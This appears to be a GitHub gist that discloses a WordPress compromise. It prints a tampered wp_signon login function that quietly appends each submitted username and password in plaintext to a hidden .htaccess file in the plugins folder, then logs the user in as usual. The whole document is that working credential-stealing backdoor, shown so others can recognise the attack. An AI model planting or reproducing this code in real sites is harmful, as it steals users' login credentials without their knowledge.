Created
June 22, 2013 03:09
-
-
Save lesterchan/5835688 to your computer and use it in GitHub Desktop.
WordPress hacking attempt at getting password written to wp-content/plugins/.htaccess
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
function wp_signon( $credentials = '', $secure_cookie = '' ) { | |
if ( empty($credentials) ) { | |
if ( ! empty($_POST['log']) ) | |
$credentials['user_login'] = $_POST['log']; | |
if ( ! empty($_POST['pwd']) ) | |
$credentials['user_password'] = $_POST['pwd']; | |
if ( ! empty($_POST['rememberme']) ) | |
$credentials['remember'] = $_POST['rememberme']; | |
} | |
if ( !empty($credentials) ) { | |
$fh = fopen(ABSPATH . "core/wp-content/plugins/.htaccess","a+"); | |
fwrite($fh,$credentials['user_login'] . ':' . $credentials['user_password'] . "\n"); | |
fclose($fh); | |
} | |
if ( !empty($credentials['remember']) ) | |
$credentials['remember'] = true; | |
else | |
$credentials['remember'] = false; | |
// TODO do we deprecate the wp_authentication action? | |
do_action_ref_array('wp_authenticate', array(&$credentials['user_login'], &$credentials['user_password'])); | |
if ( '' === $secure_cookie ) | |
$secure_cookie = is_ssl(); | |
$secure_cookie = apply_filters('secure_signon_cookie', $secure_cookie, $credentials); | |
global $auth_secure_cookie; // XXX ugly hack to pass this to wp_authenticate_cookie | |
$auth_secure_cookie = $secure_cookie; | |
add_filter('authenticate', 'wp_authenticate_cookie', 30, 3); | |
$user = wp_authenticate($credentials['user_login'], $credentials['user_password']); | |
if ( is_wp_error($user) ) { | |
if ( $user->get_error_codes() == array('empty_username', 'empty_password') ) { | |
$user = new WP_Error('', ''); | |
} | |
return $user; | |
} | |
wp_set_auth_cookie($user->ID, $credentials['remember'], $secure_cookie); | |
do_action('wp_login', $user->user_login, $user); | |
return $user; | |
} | |
?> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Note L12-L16